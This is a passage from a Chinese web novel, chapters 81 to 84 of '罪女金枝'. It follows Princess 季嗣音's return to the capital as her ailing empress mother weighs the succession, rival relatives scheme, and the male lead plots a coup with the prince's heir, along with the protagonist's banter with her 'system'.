只是男权代代相传的核心要诀,就是传男不传女,妻子可以,侄子可以,母亲可以,但是女儿不可以。 妻子是男人的奴隶,侄儿是男人本人,母亲是男权的维护者,女儿是谁呢? 女儿是男儿的竞争者,若给予女儿和男儿一样的权力,让母亲意识到不是只有生下男儿才有出路,那该多可怕啊。 她们会从母亲的身份中挣脱出来,回忆起之前做奴隶的自己,万一她们不想继续做奴隶了,那男人还怎么维持与生俱来的特权呢?就算再宠爱女儿和妹妹,也不能让她们篡取男人的权力。 无子时过继给陌生男人,也不过是一时的失权,传给女儿,却会永远失去男人的特权。 男人就和皇帝一样,一世为男,永世为男,男人的权力会代代传承下去,切不可为一时小利,伤害永世之根基。 当然了,他们不是不爱女儿,只是必不可少的牺牲。 若他们当皇帝,也会让女儿当公主,若是女婿当皇帝,也会让女儿当皇后。 这不比做奴隶的贱民好得多吗,世上可有很多天生为皇的男人,也只能当奴隶呢,女儿过得已经比他们好多了。 至于为什么男人天生为皇,还是会当奴隶,不要问。 因为这个,所有男臣都默契地不在季嗣音面前提起此事。 只是表明忧虑,也会点燃引线。 就像当初的太宗皇帝,已经得到了高超相师,郦氏当出女主的启示,屡次要置 尚是先帝宫人的郦皇于死地,却总不能成,最后郦氏居 然真的女子称帝。现在想想,若是当初没有“郦氏女主”的传言,郦文鸢为妻为母,自当有一份慈心,是否真的会走到执意称帝的地步呢? 往事不可不鉴,这样大逆不道的念头,像不祥之火,连提都不许提。 一旦给公主不安于室的启示,或许她真的会像她的母亲一样,走向那条悖逆之路。 所以对季嗣音,谁都没有做出怀疑的姿态,只是一脸诚恳地看着她。 帮帮哥哥吧,哥哥是你亲哥哥啊,还会亏待你吗,你一定会帮忙的吧! 不要问他们这么自欺欺人,掩耳盗铃,有没有效果。 他们这几干年来,确实靠着两眼一闭,两耳一堵的功夫,将整个女性群体的声音隔绝在外,不管她们是女儿,妹妹,妻子,还是母亲。按理说,如果有一个种族,必须依赖另一个种族才能存话,他们是很难将另一个种族完全踩到底的。 但怎么说呢,现实还真就做到了。 叶奚青不知道这一切是怎么发生的,不过没关系,已经发生的事,她不喜欢去追究原因,她只在乎自己现有的结果。没错,公主回来不是继位的,女儿怎么能继位呢,女儿肯定是帮着哥哥夺位来啦。 叶奚青想过的最坏结果,是季嗣音表现得太强,又是个男权不容的女人,两方会合起伙来先斗她。 结果没想到,现在居然还能短暂地当一下第三人,哈哈。达成这种局面,还真是让人哭笑不得,不过挺好的。不管他们是真心觉得季嗣音可以拉拢,还是憋着劲准备混过旧皇在位时期,等新皇上位,立刻着手清算。世事瞬息万变,每一个微不足道的抉择,都会影响大局。只是憋一会儿的工夫,就已经错过一个最佳时机喽。 …… 季嗣音也有点意外。 这些年经过州事磨炼,她也不是当初那个两眼一睁,就是情情爱爱的恋爱脑子,对大局有些认知。 她不知道那些人想联起手来“屏蔽”她的心思,毕竟她想称帝的心,明显得连她自己都觉得有点过分了,真不觉得别人会看不出来。 十年来一直没人搞她,她觉得一个是自己在登州的群众基础很牢,一个是她母皇在上面给她挡了太多暗箭。 结果来到京中后,这里的人,还真跟她套近乎啊。 是想迷惑她,让她放松警惕,还是真的如此小瞧她呢? 季嗣音久居登州,唯我独尊,从不需要搞些弯弯绕绕,再一次来到尔虞我诈的京城,已经有点摸不准深浅了。 不过比起这些,她其实更挂念母亲的病情,转头看向叶奚青:“你先去公主府安置,我先去面见母皇!” 其实身为一个决意竞争帝位的皇储,不能不意识到自己的上位,需要旧皇退场。 但季嗣音不是正统的皇子,她想要的皇位,是像以前向母亲索要玩具时那样,看见母亲说:“这个是永宁的,这个也是永宁的,这个还是永宁的!”她只是希望得到所有玩具,而不是希望看到给她发玩具的人消失。 看着层层帷幔遮蔽的熟悉人影,季嗣音眼睛一软,泪水倏然涌出眼眶。 …… 季嗣音进宫还旨,叶奚青按照公主的命令,进入公主府,整顿人马,代公主谢客。 只是客,总有些不速之客。公主迎驾的队伍里,男主也在其中。看着多年不见的梦中之人,裴钰一时痴了。这些年随着关家的覆灭,曾经的仇恨荡然无存。没了仇恨的纠葛,就只剩了还未萌芽的爱意。裴钰用了十年时间,终于承认,他是爱上那个只有一面之缘的落魄金枝。只是现在的关娴枝,会如何看待他呢?叶奚青恭送着所有人,温柔的笑意下,是将所有人都捅死的心。这十多年,她精心将养,按时吃饭,努力锻炼,终于养好了一些基础。但这次千里奔驰,季嗣音和其她禁军,全甲全胄,负重御马,如履平地。她身无一物,轻身骑马,直去半条小命。 同人不同命啊,同样是人,为什么给别人那么强壮的体魄,却让她活着都费劲呢? 就在她觉得所有人都对不起她的时候,人流散去,还有一个碍眼的人留在原地。叶奚青看向许久未见的男主,似有所悟。确实也该到了男女主重逢的剧情。虽然系统没有说确切时间,但若重逢故事没结束的话,当然还要有个大剧情。以夺嫡胜利作为故事的结尾,确实是事业爱情上的双丰收,让所有人都满意。叶奚青笑意盈盈地看向男主:“这位大人是谁呢,怎么看起来如此眼熟?” 82、《罪女金枝》 裴钰当然不会觉得关娴枝认不出他,他知道,当初以那样极端手段离开裴府的关娴枝,一定对裴家充满了怨恨。 所以他多余的话一句也不说,对着关娴枝一礼:“关小姐可能不认识我了,只是在下心里想着,还是欠关小姐一句抱歉。” “当年关裴两家的恩怨,原与关小姐无关,是裴某因怨恨失了公正之心。” “哦?”叶奚青意味深长地抬头:“啊,想起来了,原来是裴大人。” “那裴大人道歉的心有点不诚啊,古代莽汉道歉也要负荆请罪,裴大人就两手空空的来了吗?” 裴钰:关娴枝好像变了。 随着登州的飞速崛起,季嗣音和她手下的那个狠辣扈随,已经渐渐为所有人熟知。 “垂手灭四族,杀人更无数。” 所有人都在传扬着她的凶名,因为是个女人,狠毒更不被世人接受,所以她的名气,已经有点盖过他这个同样杀人如麻的天子鹰犬。裴钰在听到这个说法时,还有些不能接受,不敢相信传言中的那个关娴枝,真的就是他以为的那个关娴枝。 结果今日一见,才知道传闻属实,关娴枝竟然真的变了。 裴钰心中隐痛,他不知道关娴枝变成如今模样,是不是和他有关。 相对无言,只能低头,又是一句:“抱歉。” “哈哈哈。”叶奚青忍不住笑了。 真是和人机一样的男主,搞得她都不忍心报复了。 系统趁机钻出来:“真的?” “假的。” 如果道歉有用的话,她会在他死后说无数次。 给她造成的伤害,没有付出同样的代价,就想偿还? 等她改名为冤头青那天再说吧! …… 叶奚青已经怼天怼地怼人机了,季嗣音还在默默流泪。 郦文鸢真不想看她那副没出息的样子,沉着的声音从纱帐里透出来:“哭什么哭,朕还没死呢。”季嗣音划拉掉脸上的眼泪,一步步走进纱帐,郦文鸢没拒绝她走近,季嗣音便看清了母亲如今的样子。美容丹也不能遮住她身上的颓靡,这位伟大的帝王,已经不能离开她的坐榻了。季嗣音想像以前一样去抱住她,却发现自己是直接着甲进来的。母亲此刻的身体,是如此脆弱,哪怕是冰冷的死物,也不能承受。季嗣音的眼泪一下子又涌了出来,她真的很难过,很需要一个人安慰她。郦文鸢真的受不了了,明明瘫在床上不能动的是她,她女儿看起来却好像比她更需要安慰。长叹一口气,儿女大概真是母亲前世的债吧,无奈伸出手:“坐过来,让母亲看看你。”十年的磨砺,让季嗣音多了一丝悍气。虽说关于她的设定,是文武双全,但还是武点得更全一些。郦文鸢年轻时身体也很好,但她不只生了季嗣音和南康王这两个孩子。只剩这两个,是因为只有这两个还活着,刨去活着的这两个,她还有三个没活下来的皇子。一连生了五个孩子,给她的身体带来了毁灭性的打击,也就不如以前那么强壮了。所以她很喜欢季嗣音,每当看着和小马驹一样哒哒跑进来,喊她“母皇”的小女儿,她就仿佛看到了年轻时活力无限的自己。儿子她也爱,可是只有女儿和她如此相似,仿佛她生命的另一种表达。看着长大的女儿,一颗心神奇地定了下来,笑吟吟道:“现在可以在母皇的宫里哭,但一会儿出去,不许把眼泪带出去知道吗。”季嗣音不是当初的小孩儿了,知道这个道理,用力吸了吸鼻子,接过上官兰翌递过来的手帕。天家母女,或许就是这样,纵有万千感情,也要埋藏在筹谋之后。季嗣音擦干眼泪,深吸一口气,认真地看向郦文鸢:“母皇,您将儿臣从登州召来,有什么是需要永宁做的吗?”她这话不仅掷地有声,还带着强大的托底气势,而她也确实有镇压乱局的资本。 郦文鸢想不到有一天也需要从女儿身上汲取力量,不由一笑:“你大概猜到了吧,这个时候叫你回来,还能有什么事。” “又要问到那个问题了,母皇已经问了很多人,现在想问问你。”“如果母皇要立太子,成为下一个皇帝,你希望那个人是谁呢?”这道必考题,在进宫之前,叶奚青就给自己的主君,模拟了无数答案。季嗣音对叶奚青的谏言,一向是言听计从,不假思索。 但这次,她居然没有采用叶奚青的任何标准答案,而是抬头看向母亲,掷地有声道——“母亲想立谁就立谁,永宁只向您发誓,不管您选择谁,永宁都会助您完成心愿!” …… 季嗣音从宫里出来,脸上看不到一点流泪的痕迹,打马回府,意气风发。 这么多年,哪怕她不在京中,郦文鸢也一直在派人帮她料理公主府,一应陈设,和原来一模一样。 但季嗣音其实已经习惯了登州府,公主府既陌生又熟悉的陈设,除了让她有些恍如隔世的感觉,已经找不出当初之情了。 季嗣音顺着熟悉的路去找叶奚青,果然她已经躺下了,但不知道为什么,她没有睡。 那谁敢睡啊,睡着了还不是要被你叫起来。 叶奚青强撑了一路,来到公主府自己曾经住的小院,终于可以放心病一场了。但她敢打赌,季嗣音从宫里回来,肯定会立刻找她。 果然,她来了。 看着一脸沉默的季嗣音,叶奚青身为贴心谋士,还是得尽谋士之责:“公主,和陛下谈得怎么样?” 季嗣音:…… “和你想象的可能有些不一样。” 叶奚青来了兴趣: “怎么个不一样?” 季嗣音看着叶奚青病骨支离,难掩憔悴的身体,其实是有点心疼的。 但叶奚青对她感情的漠视,又让她很生气。 这么多年,她已经习惯了叶奚青一问,就什么都和她说,不管自己什么心情,这次也不例外。 沉着脸将宫里的事全部跟叶奚青汇报,等着她评判,脸阴得仿佛要滴出水来。 果然,叶奚青露出一个欣慰的笑容:“这个回答真是太完美了,比我预设的完美得多,公主真是越来越有进步了。” 季嗣音却没有被夸到,对着叶奚青怒目而视:“我不是在完美作答,我是真的那么想,只要母皇活着一天,我就会完成她所有心愿!” “那又有什么区别,陛下的心愿,只能由殿下来完成,这从来不是一件冲突的选项,却因为殿下的真诚,让陛下的心更顺理成章地向您倾斜。”“我又不是为了让母亲倒向我才那么说!” “这就更是妙处了,因为殿下和陛下同路,宣誓效忠,都不需要用伪言,选择志同道合的人做盟友,便利点不就在这吗?” “我不想听这些!我母亲病得很重,有可能哪天就不在了,你到底知不知道我真正的心情是什么啊!” “正是因为我知道,我才不可以分走殿下的哀伤。”“人都会有走的那一天,不管是谁,我也不例外。” “我们所有人,都会比殿下先一步离开,殿下的哀伤,是先行之人留给殿下最后的礼物。” “接下来就是您独自要走的人生了,殿下,您想好怎么独自上路了吗?” 季嗣音: 虽然早知世间有死亡,但直到至亲之人的死亡降临,人才会真正意识到这一点。季嗣音在有母亲庇护的时候,一直在做孩子,直到此刻,才茫茫然开始成长。她的心真的很痛苦,叶奚青却不仅不安慰她,还要拿自己的死恐吓她!季嗣音一边嚎啕大哭,一边用力捶着自己的胸口,缓解那种无处不在的憋闷。她仿佛耗尽了所有力气,泪流满面道:“我一定会完成母皇所有愿望,一定!” 那郦文鸢的愿望是什么呢? 又一次朝会,揭露了她的心愿。 辍朝好几日的郦文鸢,终于出现在了众人面前,这次她完全没有掩饰自己已经瘫痪的双腿。 看见她这副样子,满朝大臣心瞬间定了下来,真到了改朝换代的时候。 郦氏子弟很焦急,郦文鸢用半根胡萝卜,吊了他们半生,却好像总差口气。 季氏心里其实更有把握一些,但也不排除郦文鸢有别的心思,这个女人,对权力的恋栈太深了! 郦文鸢看着下首所有人,神色从容道:“召各位前来,想必各位心里已经有了主意。”“朕近日身体不佳,且年岁已高,为使江山有继,特与众卿议立太子。”“在召见众卿前,朕曾与老大人商议,是立郦氏子好,还是立季氏子好?”“老大人对朕说,当立亲不立远。”“立亲嘛,自然是南康王与朕最亲,为朕亲生骨肉。”“但朕的孩子朕知道,南康王仁善有余,而谋断不足,身体孱弱,难承大任。”“若立他为太子,他是否能担起国之重任,朕也不能知晓。”“所以朕想请问众卿家,立太子,当立亲,还是立贤?”满朝顿时一片哗然,季氏从众震惊抬眸。难道老大人将话说到这份上,郦文鸢还是要执意立郦氏子吗?郦氏子却大喜过望。 是啊,若是立南康王,江山又要重归季氏宗脉,郦文鸢岂不是白干了?他们沾了和郦文鸢同姓同宗的便宜,未必没有机会!于是朝堂又吵成了一团。 南康王妃在家里气得来回踱步,跺脚大骂:“老太太糊涂了吧!哪有不把家产给儿子,给侄子的!”南康王确实身体不好,所以筹议这种大事的,已经变成了南康王妃和她的孩子。南康王世子按住母亲:“娘,你不能这么冲动,之前就因为你言行无忌,得罪了姑姑,惹得皇奶对你也颇有微词。”“如今权力还是掌握在皇奶手里,咱们不能做任何激怒她的事,每一个小细节都会影响最终结果,就算有再多 ,您现在也得做出好媳妇,好嫂子的态度,知道吗?”南康王妃虽脾气暴躁,易燃易怒,但对这个儿子的话,却最能听得进去。心中的怒火稍歇,露出些笑意:“好了好了,娘知道了,就算她们娘俩把娘的面子踩到地里去,娘也一定恭恭敬敬地笑着对她们!”南康王世子露出一个笑容,搂住母亲的肩膀,宽慰她,南康王妃很快被他哄得喜笑颜开。母子如此和乐,却有人看不入眼,南康王妃的二女儿玉真郡主,冷笑一声:“是不是高兴太早了,还想着讨好这个,讨好那个,人家给你机会吗,你就讨好?”“一个沟,跌一次,算没长眼睛,跌两次,是脑子都不长了吗?” “今天皇奶朝堂上说的话,和十年前假装立爹爹为太子时,到底有什么不一样!” 83、《罪女金枝》 南康王妃:…. 南康王世子: “你是说皇帝要将皇位传给永宁?这怎么可能!” “给她一块封地都对得起她了,还要将整个江山都给她吗,满朝大臣也不能同意啊!” 玉真郡主冷笑一声,一把抽出剑,漫不经心地赏玩:“那谁知道呢,以为天下的娘亲都像您那样,只把儿子当个宝,女儿当根草。” “皇奶怎么宠姑姑,您又不是知道一两天了,她就算真把皇位给女儿了,又能怎么着呢?” “要说大逆不道,有什么比女人当皇帝还大逆不道,皇奶已经当皇帝那么多年了,你们还拿老百姓家争家产那套想她。” 南康王妃:…… 南康世子: “那皇姐有什么高见呢?” 玉真郡主阖上剑鞘,冷笑一声:“和我有什么关系,你们争来了皇位也不给我,我帮你们筹谋干什么。” “就是看着姑姑把你们的皇位抢了才好呢,一想到你们怎么哭,我就想笑了,哈哈。” “你说什么!”南康王妃被忤逆的女儿气得不轻。 但她这个女儿,素来有些怪癖。 每日做男子穿戴,效男子行径,甚至屋里纳了不少小妾,要小妾们如伺候世子一样伺候她,口称郡王。 南康王妃本来对她就不喜,见她如此疯癫,更为不喜。 好不容易说句人话,也是如此冷心冷肺,南康王妃真恨不得从没有生过她! 见母亲如此生气,二郡主也算完成了任务,嘿然一笑,头也不回地转身离去。 还是大郡主看不过眼,想叫住她,却被母亲拦住:“你管她去死!” 大郡主昭明,素来懦弱,母亲严斥,就不敢动了。 倒是南康王世子追出去,拉住二皇姐的肩膀,无奈道:“二姐,都是一家人,何必如此剑拔弩张,母亲说你几句,你顺着她不就好了。” “这么和母亲硬顶,难怪她要找你茬呢。” 季飞燕一下子停住脚步,反身回剑,直接将剑尖对准他喉结,似笑非笑:“你想当皇帝了?” 南康王世子被剑刃逼停,立马摊手投降,语带求饶道:“二姐何出此言,就算咱们这么筹谋,也是为了父王当皇帝啊。” “那父王死后,会将皇位传给大姐吗?” 南康王世子:“会传给我吗?”南康王世子: 二皇姐的两连问,非常犀利,并且直指他。南康王世子心中不快,可他素来是个八面玲珑的性子,才不会直接露出不好的表情,微笑道: “二姐,爹娘的东西,当然是爹娘来决定,咱们做子女的,听从爹娘的安排就好了,怎么好多做置喙呢?”“哈哈!”季飞燕一个挺剑,“那我杀了你不就好了吗,管保爹娘的东西,我和大姐一人一半!” “大姐不敢和我争,你可说不好!” 南康王世子急忙躲避,“岑”的一声,帽带断裂,头冠一下变得歪歪斜斜。 看着断裂的帽带,才发现季飞燕居然真的往他脖子上招呼,不由怒道:“你疯了!” “哈哈哈!”季飞燕大笑。 她自来看不惯老三好处占尽,还要惺惺作态的样子,扯下他的脸皮,可真有意思! 将剑反手握回,冷笑一声:“急什么,吓唬吓唬你罢了。” “在母亲面前讨好卖乖也就算了,真当我不知道你是个什么东西,再敢跟我套近乎,弄死你!”南康王世子看着断裂的冠带,怒火萦胸,索性不装了,直接将头冠甩下,冷冷道:“那你又有什么了不得的见解。”季飞燕还是先前的冷笑:“我能有什么高深的见解,我只是提醒你们,鹬蚌相争,渔人得利,别傻了吧唧的把自己当那只或鹬或蚌。”“季郦两家,争了十年,都在皇奶眼皮底下打转。”“可是姑姑刚回来,就掌握禁军喽。”南康王世子: 这他又如何不知。 郦文鸢发表了那番“立亲立贤”的演说后,就任朝堂乱成一团,然后于无声息处,默许了季嗣音手握禁军。 在古代,皇宫没有禁军,外面的人就反了,有禁军,里面的人就反了。 对这柄双刃剑,一直管控很严,分割为好几个大营,时常换防,不许各营串联,无符不得擅动,还经常换血,打散重组,务必阻隔一切某人振臂一挥,就直接反了的可能。季嗣音离京时,从各大营,分别抽调了五百禁军,回京时,原数带回。 至于为什么不用原样,一大半性别都变了,那能是原样吗! 马上有人就这点上奏,郦文鸢也懒得管,变就变了呗,数量没差不就得了,现在什么时期了,还在意这种小事! 但问题是不仅是数量的问题,郦文鸢收回这五百禁军后,没将她们打散,而是安置在离皇城最近的北竞门大营。 这些禁军,被季嗣音带走了十年,你说她没有办法凭借自身威信调动她们,那真是鬼都不信啊。 这么明晃晃的一支私兵,就这么光明正大地安插在帝都心脏,还是这种特殊时节,谁不心惊胆战。 理解郦文鸢现在不相信任何人,只相信自己女儿的心情,但如果公主就有反心该如何是好? 一般王朝,是不会考虑公主造反这种可能的,但他们不一样,他们皇帝是女的! 南康王世子本来就有这方面的忧虑,听姐姐这么一说,心下更是沉吟。 他思索得很深,季飞燕却已经直接转身离去,不由问道:“你去哪?” 季飞燕回头咧嘴一笑:“当然是去见姑姑,感谢她的赠剑之情。” 季嗣音说让两个侄女等着她,会送她们一份大礼,果然送了。 打听侄女喜好,大郡主昭明生性内向,喜欢琴棋书画,针织女红,季嗣音就送了她一套书房用具。 二郡主玉真生性跳脱,喜好骑射武斗,季嗣音就送了她一柄寒光岑岑的铁剑。 将剑身拔出一半,露出里面的寒光,季飞燕看着剑身上倒映的自己,露出一个微笑。 “等下月初三,姑姑生辰,我也会还她一份大礼!” …… 季嗣音确实要过生日了。 以往她的生辰,就弄得红红火火,如今水涨船高,今非昔比,想要给她庆贺的人自然更多。 季飞燕欢天喜地地来公主府,看见季嗣音甜甜地笑着:“姑姑,飞燕又来啦!” 季嗣音正和休养过来的叶奚青下棋赏鱼,看见她不由挑眉:“啊,又来啦,真当公主府是你第二个家了。” 季飞燕嘿嘿一笑,没有丝毫不好意思,坐在两人中间。 你家,如何不能是我家呢? 侄女来了,当然要好好接待,季嗣音借着指导侄女武艺的借口,将季飞燕按在沙场暴揍。 她在登州时也没闲着,海陆两军齐掌,既剿土匪,也剿海匪,千锤百炼出了真功夫。 季飞燕虽然年轻,季嗣音却正是力壮,京中贵女学习的一些小把式,宛如小猫小狗两三只,当即被季嗣音按在地里吃沙子。 毫不顾忌地将侄女的脑袋怼地上,漫不经心地笑着:“服了吗?” 季飞燕:. 她从来就没有屈服的时候,但还是第一次体验这种毫无抵抗之力,就被摁在土里的感觉。她想挣扎,但每个可以活动的关节,都被季嗣音反剪在身后。 发现挣扎不过后,再不想老实也老实了,咬牙微笑道:“姑姑真厉害,侄女知错了。” “呵呵。”拍拍身上土,季嗣音打得很轻松,没沾多少,就让侍女把毛巾净水给季飞燕,回去继续下棋。 刚回去,就发现棋盘被收了,不由大怒。“我马上就要赢了,你给我收了!” 叶奚青微笑:“公主不是另有要事吗。” “给我摆回来!” “记性不好,记不住了,记不住了。” “我自己摆!” 季嗣音气急败坏地摆棋局,叶奚青摇头微笑,真是的,真爱计较。 季飞燕倒了很久,才把耳朵里的沙子都倒出来,看着若无其事的季嗣音,淡定微笑的叶奚青,心中更气。 坐回原地,微笑道:“听说关小姐智星降世,也会在棋道上输给姑姑吗?” 面对郡主的提问,叶奚青和善点头:“这个自然,公主文武双全,不仅武艺出众,棋艺也非常惊人,在下完全打不过呢。” 背地里则是:“系统,帮我下一盘,你作为ai,不能这都不会吧。” 系统:滚! 季嗣音不知道叶奚青在和系统说什么,但听叶奚青夸她文武双全,复原棋盘的手停下,收回棋子,微笑: “没错,你姑姑我就是这么文武双全,哪像你,把自己搞得女不女,男不男,也没多学出几分本事,真是丢尽了我们女人的脸!”季飞燕: 她的蠢姑姑,真是生了副好命,就觉得自己天下无敌了,小瞧她可是要倒大霉的!笑意盈盈看向季嗣音:“那姑姑可真是有点厉害了,您一定要一直这么厉害!” “哈哈,小嘴真甜。” …… 送走季飞燕,季嗣音冷嗤:“像她娘,一家子的面上千好万好,背后恨不得捅你好几刀子。” “那殿下还让她进府?” “啊,别人我更不愿意见,她还好一些。”一回到京中,宛如回到了原始世界,京中不管是女人还是男人,好些都让人生气。季嗣音现在体会到了叶奚青当初教导她时的痛苦,面对被男权教化塞满了的脑袋,真的打不透气!不过她现在不是当初的愣头青了,对打通局面,自有一套处理办法。棋不想下了,就从芸娘手中接过自己的财产清单。芸娘是她走后,郦文鸢派来代她经营公主府的人,现在直接给了她。而这些年公主府的产业,也如离京时叶奚青说的那样,她母皇不要她的,还凭空多出好多。在古代,只要完成初步资本积累,就很容易利滚利。皇子们虽然没有封地,但有食邑。 有多出的钱粮就可以换田,田越多产出越多,赚的钱可以换更多良田,不仅掌握了最重要的粮食资源,还可以雇用很多佃农种地,掌握人力资源。 有了粮丁势力后,就可以用强力手段并田,所有良田皆为己田,所有旺铺皆为己产,由此形成循环,一手遮天。 其实原来的公主府走得也是这种路数,季嗣音作为女帝宠爱的公主,可以食邑四干户,若论富,没人富得过她,要论权,也没人比得过她。 不用她特意去做,手下帮她干活的人,也会自动帮她兼并田产,以此获利。 以前季嗣音自己也要花费巨资享乐,公主府每日耗资如流水,需要大额进账,才不会管钱从哪来。 但现在不一样了,掌政登州后,她已经知道,钱到了某一个地步,就只是流通物,能变换为权,才是真的长久,而权从哪来? 或许跟很多人想得不一样,权恰恰从基层而来。 季嗣音只粗略看了一下名下田亩人丁总数,就吩咐芸娘:“你派人去清理门户,凡有仗着公主府势力欺压百姓的恶奴,解送官府,按罪论处。” “剩余佣奴,旧债一笔勾销,全部放契还良。” “我手下的良田,重新招募耕户,耕户以母为主,以女计数,幼女也在此列。” “待划分完户田后,耕户留下自己一家的口食和官税,其余产出皆要奉与公主府。” “五年后,所耕之田,自动归于耕户。” “之前就为公主府耕种的,优先入籍,不足数的去外招,不过以女为分田口的这条规定不改,知道吗?” 听完公主的话,芸娘震惊了,公主这么舍得吗!那有什么不舍得的,她可是有一州之产。若是真的走大运后,她甚至可以拥有一整个天下。她有一州之财可供邀名,其他想学的人,尽管去学啊! …… 民间瞬间沸腾了。 不要问为什么刨去口食,将产出全奉与公主府,还能用来邀名。 同行干的实在太差了,有时候狠起来,连佃户的口食都不给留,逼得佃户卖身为奴,连奴都当不下去后,就会直接逃跑变流民。按照公主府的说法,给公主种五年地,就能把地变成自己的私产,给谁家种地种五年就能买一块田啊!因为这个,百姓一开始听了都不敢相信,真的假的,别去种了,最后变卦啊!公主府原放出去的女奴,立刻在招募点现身说法:当然是真的,我们的籍契都被放出来了! 也就是在京中律法所限,不能直接放田,公主在登州时可直接给百姓分田了呢! 以前天高路远,古代信息又难流通,普通百姓对登州的印象很模糊,大概只通过戏本知道了永宁公主好几个风流韵事,结果公主是这样大方的人吗利益驱动,佃户们立刻想方设法去报名,只是按女子计口,可有些为难人,大家都不容易,底层百姓,谁会乐意花大把口粮,养一个注定要送到别人门上的别家人。女子多的人家,转忧为喜,赶紧去报名。 全是男子的家庭面面相觑,立刻想娶几个媳妇进来。 养媳妇的人家也不傻,原来就想要彩礼,现在自然要得更高。 抢不到媳妇的就想去抢女婴,以前因为女子不分产,生下来多弃养,为防止民间过度杀女,致男人无妻可娶,无子可育,官方修建弃婴堂,代为养育孤女,现在全成了抢手货。但只要有市场,就会哄抬物价,女婴也涨价了。 看着窗外民众哄抢女婴,争相报户的滑稽场景,南康王世子一笑:“姑姑真是腹有乾坤啊,才来京中几日,就受百姓如此拥戴。” 男主裴钰,从他身后闪出,目光沉凝,同样看着窗外。 “若真腹有乾坤,那其谋也必然不小。” 84、《罪女金枝》 到了如今这个地步,有很多事已经不需要再隐藏,裴钰近乎正大光明地和南康王世子站在一起。 不过就算是原来,他更倾向于南康王一脉,也不是什么秘密。 顶头的皇帝也不在乎这些,她提拔他的唯一原因,就是用他的出身,去杀一些他绝对不应该杀的人,专属帝王的恶趣味。 南康王世子看向他露出一个微笑:“我皇姐也说过此事,她觉得皇奶好像不准备把皇位传给现在所说的任何人,她想将皇位传给姑姑。” “啊,姑姑的命可真好啊,不管什么东西,不管她要不要,只要是好的,所有人就都想主动往她怀里塞。” “真不知道姑姑上辈子做了什么好事,这辈子大家都那么偏爱她。” 裴钰: 为人臣子者,要学会听话听音。 南康王世子这一番话,绝对不是只想感叹姑姑命好,他需要听到一些有用的话。 所以裴钰开口:“殿下,命由天定,人事却需人争。” 南康王世子收回视线,落下小窗,不解地看向他:“哦?” 开弓没有回头箭,裴钰也没有绕弯子,直截了当道: “近日朝中大臣力谏陛下还复季氏江山,陛下却总有推阻。” “陛下窃季氏江山已久,原视她为季氏儿媳,不予追究,若陛下依然固执,不能言谏,或当兵谏。” 南康王世子猛然站起:“放肆!那可是孤的亲皇奶,焉可为此大逆之举!” 裴钰直接跪下,眼睛却依然直视世子:“殿下,我等行此下策,也实为无奈之举,且也不是冲着陛下而去。” “陛下有此杂念,皆受郦氏族人蛊惑所致,郦氏子弟,早已天怒人怨,我等当代天行道!” “我等铲除贼首,将贼首头颅奉给陛下,陛下亦为人母,岂能不恤一点人伦之情?” “我等讨贼,实为清君侧之故,而非对陛下动武!” 南康王世子缓缓坐下:“如此……倒还有些道理。” “但如今能调兵遣将的,只有姑姑,北竞门大营驻扎的全是她的登州兵,只要她振臂一呼,相信能得云集响应。” “姑姑自回京后,态度就暧昧不明,我等是否能说服姑姑,邀她一起共讨郦氏逆贼?” 裴钰摇头:“公主虽也是季氏血脉,但臣曾听闻,公主在登州时尊巫道,推行阴阳倒置,女尊男卑之制,想已被巫毒邪说蛊惑已深,或许会对郦氏容情,不可以为谋。”“我等可串联愿护卫季氏江山的义士,从南息门而入。” 南康王世子沉吟片刻:“那若姑姑以为真有兵变,带兵从北竞门而来怎么办,岂不是要自家人打自家人?” 裴钰正色道:“为防生乱,殿下可在起兵之时,以人伦之情,将公主诱入府中,软禁起来。” “这……姑姑知道岂不要生气?” “非常之时当行非常之事,等大事已定,公主身为季氏族人,也当体谅殿下苦心。”南康王世子犹豫不决,来回踱步,终于下定了决心,看向裴钰:“也只能如此了。” “我会领一军从南息门入,诛杀郦氏逆贼,让母妃将姑姑引入府中,你埋伏一军于府内,控制住姑姑。” “姑姑是小王的血肉至亲,只要使其不出府就好,千万不要对姑姑有所伤害,知道吗?” 裴钰立刻伏地领命,再抬头时,目光中似有所求:“属下愿为殿下肝脑涂地,但心中尚有一求,不知殿下能否成全?” 南康王世子赶紧将他扶起来:“裴卿说的哪里话,你为我们一家如此尽力,有什么是本王不能答应的!” 裴钰却没有起来,依然认真地看向他:“殿下恕罪,属下求的是一个非宜之人。” “公主身边,有一贴身侍女,多受巫道蛊惑,有不宜之行,但属下爱慕其深,愿以所有,换此女性命,不知可否?” 南康王世子先是一愣,随即大笑:“孤以为是什么了不得的大事,仅一女子,有何不可?” “本以为小王才是风流种子,原来你裴卿,更是多情啊,哈哈哈!” 南康王世子大笑,允准了所有请求,裴钰终于起身。 谋事之期,就约定在下月初三,公主诞辰,最不可能,也是最让人放松警惕的时刻。 其实他并不讨厌公主,也并不讨厌公主的某些决策。 但世人对女子还是苛待,公主的某些想法,无异于异想天开,这片国土不会允许出现第二个女皇帝。 强行逆天而行,只会招来更大的灾祸,若是下一任皇帝不能回归正统,天下又不知有几人起兵,几人生乱。 皇位之争,不仅是权力之争,也是国本之争,所以恕他不能坐视乱局发生。 世子说不杀,就是一定要杀的意思,她注定命丧于此局。 但对于关娴枝,他无论如何也要保下来! …… 叶奚青拿着食盘,投喂池子里的鱼。“系统,男主现在在干什么?”“我不会告诉你的,这是作弊!”“你不告诉我我也知道,他在和南康王世子一起筹谋怎么造反。” 系统:!这是怎么知道的!但它最近学精了,一点都没露出端倪,笑嘻嘻道:“宿主,别想套话哦,我什么也不会告诉你的。”叶奚青继续往湖里洒鱼食:“不用你告诉,我也知道,因为人是一种特别简单的生物,简单到就像鱼一样,只要往湖里抛饵,就有一大群来啄食。”系统:……… “那宿主你往湖里抛饵了吗?” “没有啊,但饵不是现成的吗,皇位还不够有吸引力?” 系统想再问,又怕泄露什么,闭上嘴,一句话不说。 叶奚青看向系统,确实学精了,知道事以密成,语以泄败。 从系统这套不到话后,叶奚青就只能使劲想男主他们该怎么造反,什么时间反。 哎呀,好难猜啊,还是让主君自己防着点吧,出门穿个甲,遇到刺杀打不过还能跑,最好就窝在公主府别出去,外面太危险了。季嗣音:……. “你想了半天就是让我在府里当王八?” “千年王八万年龟,最简单的方法就是最有效的。” 